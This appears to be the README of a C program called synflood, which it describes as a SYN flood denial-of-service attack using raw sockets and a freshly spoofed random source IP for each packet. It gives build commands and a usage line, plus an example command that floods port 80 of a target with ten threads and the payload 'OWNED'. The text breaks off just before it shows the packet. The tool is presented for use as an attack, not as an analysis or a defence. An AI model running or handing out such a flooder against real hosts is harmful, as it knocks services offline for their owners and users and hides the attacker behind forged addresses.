synflood

SYN flood denial-of-service (DoS) attack coded in C using raw sockets. Generates random spoofed IPs at each new packet.

Build

make clean
make

Usage

sudo ./synflood <target_ip_address> <payload> <number_of_threads> <port_number>

Example

sudo ./synflood 1.2.3.4 OWNED 10 80

Will create 10 threads which will send the following TCP/IP packet in loop:
